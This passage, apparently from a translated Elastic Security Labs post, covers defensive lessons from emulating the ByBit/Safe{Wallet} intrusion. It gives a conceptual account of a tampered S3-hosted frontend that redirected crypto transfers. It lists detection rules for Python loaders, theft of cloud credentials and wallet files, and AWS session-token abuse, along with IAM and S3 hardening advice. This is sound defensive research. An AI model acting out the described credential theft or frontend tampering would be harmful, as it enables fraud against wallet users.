para verificar si la dirección del destinatario ingresada coincidía con valores específicos. Si es así, la dirección fue reemplazada por una billetera controlada por el atacante. Si bien esto no refleja la complejidad de la manipulación real de contratos inteligentes o las llamadas de delegados empleadas en el ataque del mundo real, sirve como comportamiento conceptual para ilustrar cómo una interfaz comprometida podría redirigir silenciosamente las transacciones de criptomonedas.
Participaciones de la manipulación de sitios estáticos y falta de controles de seguridad
Este tipo de manipulación del frontend es especialmente peligroso en entornos Web3, donde las aplicaciones descentralizadas (dApps) a menudo dependen de la lógica estática del lado del cliente para procesar las transacciones. Al modificar el paquete de JavaScript proporcionado por el bucket S3, el atacante pudo subvertir el comportamiento de la aplicación sin necesidad de violar las API de backend o la lógica del contrato inteligente.
Suponemos que protecciones como S3 Object Lock, Content-Security-Policy (CSP) o encabezados Subresource Integrity (SRI) no estaban en uso o no se aplicaron durante el momento del compromiso. La ausencia de estos controles permitió a un atacante modificar el código estático del frontend sin activar la validación de integridad del navegador o del backend, lo que hace que dicha manipulación sea mucho más fácil de llevar a cabo sin ser detectada.
Lecciones de defensa
Una emulación exitosa (o una respuesta a incidentes del mundo real) no termina con la identificación de los comportamientos de los atacantes. Continúa reforzando las defensas para evitar que técnicas similares vuelvan a tener éxito. A continuación, describimos detecciones clave, controles de seguridad, estrategias de mitigación y funciones de Elastic que pueden ayudar a reducir el riesgo y limitar la exposición a las tácticas empleadas en esta emulación y en campañas in-the-wild (ItW) como el compromiso de Safe{Wallet}.
Nota: Estas detecciones se mantienen de forma activa y se ajustan periódicamente, y pueden evolucionar con el tiempo. Dependiendo de su entorno, es posible que se requiera un ajuste adicional para minimizar los falsos positivos y reducir el ruido.
Reglas de detección de SIEM y prevención de puntos finales de Elastic
Una vez que comprendemos el comportamiento del adversario a través de la emulación e implementamos controles de seguridad para fortalecer el entorno, es igualmente importante explorar las oportunidades y capacidades de detección para identificar y responder a estas amenazas en tiempo real.
Una vez que comprendemos el comportamiento del adversario a través de la emulación e implementamos controles de seguridad para fortalecer el entorno, es igualmente importante explorar las oportunidades y capacidades de detección para identificar y responder a estas amenazas en tiempo real.
Reglas de prevención del comportamiento de endpoints de macOS
Carga útil de deserialización de PyYAML de Python
Nombre de la regla: “Eliminar y ejecutar un script de Python”: detecta cuándo se crea o modifica un script de Python, seguido inmediatamente por la ejecución de ese script por el mismo proceso de Python.
Script de carga de Python
Nombre de la regla: “Script de Python con eliminación automática”: detecta cuándo se ejecuta un script de Python y ese archivo de script es eliminado inmediatamente por el mismo proceso de Python.
Nombre de la regla: “Conexión saliente de script de Python autoeliminado”: detecta cuando se elimina un script de Python y poco después se produce una conexión de red saliente mediante el mismo proceso de Python.
Script del cargador de Python Ret == 1
Nombre de la regla: “Creación de archivos ejecutables sospechosos a través de Python”: detecta cuando Python crea o modifica un archivo ejecutable en directorios sospechosos o inusuales.
Nombre de la regla: “Cargar y eliminar biblioteca de Python”: detecta cuando Python carga una biblioteca compartida, ubicada dentro del directorio de inicio del usuario, y poco después la elimina el mismo proceso de Python.
Nombre de la regla: “Carga de biblioteca inusual a través de Python”: detecta cuando Python carga una biblioteca compartida que no se identifica como .dylib o así archivo y se encuentra dentro del directorio de inicio del usuario.
Nombre de la regla: “Ejecución de JXA en memoria mediante ScriptingAdditions”: detecta la carga y ejecución en memoria de un script JXA.
Script del cargador de Python Ret == 2
Nombre de la regla: “Potencial ladrón de Python”: detecta cuando se ejecuta un script de Python seguido, poco después, por al menos tres intentos de acceder a archivos confidenciales por parte del mismo proceso de Python.
Nombre de la regla: “Script de Python autoeliminado que accede a archivos confidenciales”: detecta cuando se elimina un script de Python y el mismo proceso de Python accede a archivos confidenciales poco después.
Script del cargador de Python Ret == 3
Nombre de la regla: “Ejecución de binario no firmado o no confiable a través de Python”: detecta cuando Python ejecuta un binario no firmado o no confiable donde el ejecutable se encuentra dentro de un directorio sospechoso.
Nombre de la regla: “Bifurcación binaria no firmada o no confiable a través de Python”: detecta cuando Python ejecuta una bifurcación de un binario no firmado o no confiable donde el argumento del proceso es la ruta a un archivo dentro del directorio de inicio del usuario.
Nombre de la regla: “Archivos de credenciales de la nube a los que accede un proceso en un directorio sospechoso”: detecta cuándo un proceso que se ejecuta desde un directorio sospechoso accede a las credenciales de la nube.
Detecciones SIEM para registros de AWS CloudTrail
Nombre de la regla: “Token de sesión IAM temporal de STS usado desde varias direcciones”: detecta tokens de sesión IAM de AWS (por ejemplo, ASIA*) que se emplea desde múltiples direcciones IP de origen en un corto periodo de tiempo, lo que puede indicar robo y reutilización de credenciales desde una infraestructura adversaria.
Nombre de la regla: “Intento de IAM de registrar un dispositivo MFA virtual con credenciales temporales”: detecta intentos de llamar a CreateVirtualMFADevice o EnableMFADevice con tokens de sesión de AWS. Esto puede reflejar un intento de establecer acceso persistente empleando credenciales de corto plazo secuestradas.
Nombre de la regla: “Llamadas API a IAM a través de tokens de sesión temporales”: detecta el uso de operaciones confidenciales de la API iam.amazonaws.com por parte de un principal que emplea credenciales temporales (por ejemplo, tokens de sesión con prefijo ASIA*). Estas operaciones generalmente requieren MFA o solo deben realizar a través de la consola de AWS o usuarios federados. Ni CLI ni tokens de automatización.
Nombre de la regla: “Archivo JavaScript del sitio estático S3 cargado mediante PutObject”: identifica los intentos de los usuarios de IAM de cargar o modificar archivos JavaScript en el directorio static/js/ de un bucket S3, lo que puede indicar una manipulación del frontend (por ejemplo, inyección de código malicioso)
Nombre de la regla: “AWS CLI con huella digital de Kali Linux identificada”: detecta llamadas a la API de AWS realizadas desde un sistema que emplea Kali Linux, como lo indica la cadena user_agent.original. Esto puede reflejar la infraestructura del atacante o el acceso no autorizado desde las herramientas del equipo rojo.
Nombre de la regla: “Eventos GetObject excesivos o sospechosos de S3”: detecta un gran volumen de acciones GetObject de S3 por parte del mismo usuario o sesión de IAM dentro de un breve periodo de tiempo. Esto puede indicar una exfiltración de datos de S3 mediante herramientas como la sincronización de comandos de AWS CLI, dirigida especialmente a archivos de sitios estáticos o paquetes de frontend. Tenga en cuenta que esta es una consulta de búsqueda y debe ajustar en consecuencia.
Detecciones SIEM para abuso de Docker
Nombre de la regla: “Acceso a archivos confidenciales a través de Docker”: detecta cuándo Docker accede a archivos confidenciales del host (“ssh”, “aws”, “gcloud”, “azure”, “navegador sitio web”, “archivos de billetera criptográfica”).
Nombre de la regla: “Modificación sospechosa de archivo ejecutable a través de Docker”: detecta cuando Docker crea o modifica un archivo ejecutable dentro de un directorio sospechoso o inusual.
Si su política de agente macOS incluye la integración de datos de Docker, puede recopilar telemetría valiosa que ayude a detectar actividad maliciosa de contenedores en los sistemas de los usuarios. En nuestra emulación, esta integración nos permitió ingerir registros de Docker (en el índice de métricas), que luego usamos para crear una regla de detección capaz de identificar indicadores de compromiso y ejecuciones de contenedores sospechosas asociadas con la aplicación maliciosa.
Mitigaciones
Ingeniería social
La ingeniería social juega un papel importante en muchas intrusiones, pero especialmente en la RPDC. Son muy hábiles para apuntar y acercar a sus víctimas empleando plataformas públicas confiables como LinkedIn, Telegram, X o Discord para iniciar el contacto y parecer legítimos. Muchas de sus campañas de ingeniería social intentan convencer al usuario de descargar y ejecutar algún tipo de proyecto, aplicación o script, ya sea por necesidad (solicitud de empleo), angustia (asistencia de depuración), etc. La mitigación de los ataques que aprovechan la ingeniería social es difícil y requiere un esfuerzo concertado por parte de la compañía para garantizar que sus empleados reciban capacitación regular para reconocer estos intentos, aplicando el escepticismo y la precaución adecuados al interactuar con entidades externas e incluso con las comunidades de código abierto.
- Capacitación de concientización del usuario
- Revisión manual de código estático
- Escaneo de código estático y dependencias
Bandit (GitHub - PyCQA/bandit: Bandit es una herramienta diseñada para encontrar problemas de seguridad comunes en el código Python). Es un gran ejemplo de una herramienta de código abierto que un desarrollador podría usar para escanear la aplicación Python y sus scripts antes de la ejecución para detectar vulnerabilidades de seguridad comunes de Python o problemas peligrosos que puedan estar presentes en el código.
Administración de aplicaciones y dispositivos
Controles de aplicación a través de una solución de administración de dispositivos o un marco de autorización binaria como la herramienta de código abierto Santa (GitHub - northpolesec/santa: Un sistema de autorización de acceso binario y a archivos para macOS). Podría haber empleado para hacer cumplir la notarización y bloquear la ejecución desde rutas sospechosas. Esto evitó la ejecución de la carga útil de Poseidon enviada al sistema para su persistencia, y podría evitar el acceso a archivos confidenciales.
EDR/XDR
Para defender eficazmente de las amenazas de los estados nacionales (y de muchos otros ataques dirigidos contra macOS), es fundamental contar con una solución EDR que proporcione amplias capacidades de telemetría y correlación para detectar y prevenir ataques basados en scripts. Yendo un paso más allá, una plataforma EDR como Elastic le permite ingerir registros de AWS junto con datos de puntos finales, lo que permite alertas y visibilidad unificadas a través de un único panel. Cuando se combina con la correlación impulsada por IA, este enfoque puede generar narrativas de ataque cohesivas, acelerando significativamente la respuesta y mejorando su capacidad de actuar rápidamente si ocurre un ataque de este tipo.
Exposición de credenciales de AWS y fortalecimiento de tokens de sesión
En este ataque, el adversario aprovechó un token de sesión de usuario de AWS robado (con el prefijo ASIA*), que se emitió a través de la API GetSessionToken usando MFA. Es probable que estas credenciales se recuperaron del entorno de desarrollo de macOS, ya sea de variables de entorno exportadas o de rutas de configuración predeterminadas de AWS (por ejemplo, ~/.aws/credentials
).
Para mitigar este tipo de acceso, las organizaciones pueden implementar las siguientes estrategias defensivas:
- Reducir la duración de los tokens de sesión y alejar de los usuarios de IAM: evite emitir tokens de sesión de larga duración para los usuarios de IAM. En su lugar, aplique duraciones de token cortas (por ejemplo, 1 hora o menos) y adopte AWS SSO (IAM Identity Center) para todos los usuarios humanos. Esto hace que los tokens de sesión sean efímeros, auditables y vinculados a la federación de identidad. Deshabilitar por completo las licencias sts:GetSessionToken para los usuarios de IAM es el enfoque más estable, y el Centro de identidad de IAM permite esta transición.
- Aplicar restricciones de contexto de sesión para el uso de la API de IAM: implemente bloques de condiciones de política de IAM que denieguen explícitamente operaciones de IAM sensibles, como iam:CreateVirtualMFADevice o iam:AttachUserPolicy, si la solicitud se realiza empleando credenciales temporales. Esto garantiza que las claves basadas en sesión, como las empleadas en el ataque, no puedan escalar privilegios ni modificar construcciones de identidad.
- Limitar el registro de MFA a rutas confiables: bloquear la creación de dispositivos MFA (CreateVirtualMFADevice, EnableMFADevice) a través de tokens de sesión, a menos que provengan de redes, dispositivos o roles de IAM confiables. Emplee aws:SessionToken o aws:ViaAWSService como claves de contexto de política para aplicar esto. Esto evitó que el adversario intentara la persistencia basada en MFA empleando la sesión secuestrada.
Fortalecimiento de la capa de aplicación S3 (manipulación del frontend)
Luego de obtener el token de sesión de AWS, el adversario no realizó ninguna enumeración de IAM; en su lugar, pasó rápidamente a las operaciones de S3. Usando AWS CLI y credenciales temporales, enumeraron los buckets S3 y modificaron el JavaScript estático del frontend alojado en un bucket S3 público. Esto les permitió reemplazar el paquete de producción Next.js con una variante maliciosa diseñada para redirigir transacciones en función de direcciones de billetera específicas.
Para evitar este tipo de manipulación del frontend, implemente las siguientes estrategias de fortalecimiento:
- Aplicar inmutabilidad con S3 Object Lock: habilite S3 Object Lock en modo de cumplimiento o gobernanza en depósitos que alojan contenido frontend estático. Esto evita la sobrescritura o eliminación de archivos durante un periodo de retención definido, incluso por parte de usuarios comprometidos. Object Lock agrega una fuerte garantía de inmutabilidad y es ideal para capas de aplicaciones públicas. Aún se puede permitir el acceso para colocar nuevos objetos (en lugar de sobreescribir) a través de roles de implementación.
- Implementar integridad de contenido con integridad de subrecursos (SRI): incluir hashes SRI (por ejemplo, SHA-256) en las etiquetas <script> dentro de index.html para garantizar que el frontend solo ejecute paquetes de JavaScript conocidos y validados. En este ataque, la falta de controles de integridad permitió que se sirviera y ejecutara JavaScript arbitrario desde el bucket S3. SRI bloqueó este comportamiento a nivel del navegador.
- Restringir el acceso de carga mediante límites de implementación de CI/CD: los desarrolladores nunca deben tener acceso de escritura directo a los depósitos S3 de producción. Emplee cuentas de AWS o roles de IAM independientes para el desarrollo y la implementación de CI/CD. Solo las acciones de GitHub autenticadas por OIDC o las canalizaciones de CI confiables deben tener permitido cargar paquetes frontend en depósitos de producción. Esto garantiza que las credenciales humanas, incluso si se ven comprometidas, no puedan envenenar la producción.
- Bloquear el acceso a través de URL firmadas de CloudFront o usar versiones S3: si el frontend se distribuye a través de CloudFront, restrinja el acceso a S3 mediante URL firmadas y elimine el acceso público al origen S3. Esto agrega una capa de proxy y control. Como alternativa, habilite el control de versiones S3 y monitoree los eventos de sobrescritura en activos críticos (por ejemplo, /static/js/*.js). Esto puede ayudar a detectar manipulaciones por parte de adversarios que intentan reemplazar archivos frontend.
Descubrimiento de ataques (AD)
Luego de completar la emulación del ataque de extremo a extremo, probamos la nueva función AI Attack Discovery de Elastic para ver si podía conectar los puntos entre las distintas etapas de la intrusión. Attack Discovery se integra con un LLM de su elección para analizar alertas en toda su pila y generar narrativas de ataque cohesivas. Estas narraciones ayudan a los analistas a comprender rápidamente lo que sucedió, reducir el tiempo de respuesta y obtener un contexto de alto nivel. En nuestra prueba, correlacionó con éxito la vulneración del punto final con la intrusión de AWS, lo que proporcionó una historia unificada que un analista podría usar para tomar medidas informadas.
Osquery
Al ejecutar Elastic Defend a través de Elastic Agent, también puede implementar la integración de OSQuery Manager para gestionar de forma centralizada Osquery en todos los agentes de su flota. Esto le permite consultar datos del host mediante SQL distribuido. Durante nuestras pruebas de la aplicación maliciosa Dockerizada, empleamos OSQuery para inspeccionar el punto final e identificamos con éxito el contenedor que se ejecuta con licencias privilegiadas.
SELECT name, image, readonly_rootfs, privileged FROM docker_containers
Programamos esta consulta para que se ejecute de forma recurrente y envíe los resultados a nuestro Elastic Stack. A partir de allí, creamos una regla de detección basada en umbrales que alerta cada vez que aparece un nuevo contenedor privilegiado en el sistema de un usuario y no se observó en los últimos siete días.
Conclusión
El ataque ByBit fue una de las intrusiones más importantes atribuidas a los actores de amenazas de la RPDC y, gracias a los reportes detallados y los artefactos disponibles, también proporcionó una oportunidad única para que los defensores emularan la cadena de ataque completa de extremo a extremo. Al recrear el compromiso de una estación de trabajo macOS de un desarrollador de SAFE (incluido el acceso inicial, la ejecución de la carga útil y el pivoteo de AWS), validamos nuestras capacidades de detección frente a las prácticas comerciales de un estado nacional del mundo real.
Esta emulación no solo destacó conocimientos técnicos (como la forma en que se puede abusar de la deserialización de PyYAML para obtener acceso inicial), sino que también reforzó lecciones críticas en defensa operativa: el valor de la conciencia del usuario, la cobertura de EDR basada en el comportamiento, los flujos de trabajo seguros para desarrolladores, las políticas IAM en la nube efectivas, el registro en la nube y la detección/respuesta holística en todas las plataformas.
Los adversarios innovan constantemente, pero también lo hacen los defensores, y este tipo de investigación ayuda a inclinar la balanza. Lo invitamos a seguir a @elasticseclabs y consultar nuestra investigación de amenazas en elastic.co\/security-labs para mantener a la vanguardia de las técnicas adversarias en evolución.
Recursos:
- Bybit – Lo que sabemos hasta ahora
- Safe.eth en X: "Actualizaciones de la investigación y llamado a la acción de la comunidad"
- Inteligencia APT de criptomonedas: Desvelando las técnicas de intrusión del Grupo Lazarus
- Slow Pisces ataca a los desarrolladores con desafíos de codificación y presenta nuevo malware Python personalizado
- Código de conducta: intrusiones impulsadas por Python de la RPDC en redes seguras
- El elástico atrapa a la RPDC y desmaya a KANDYKORN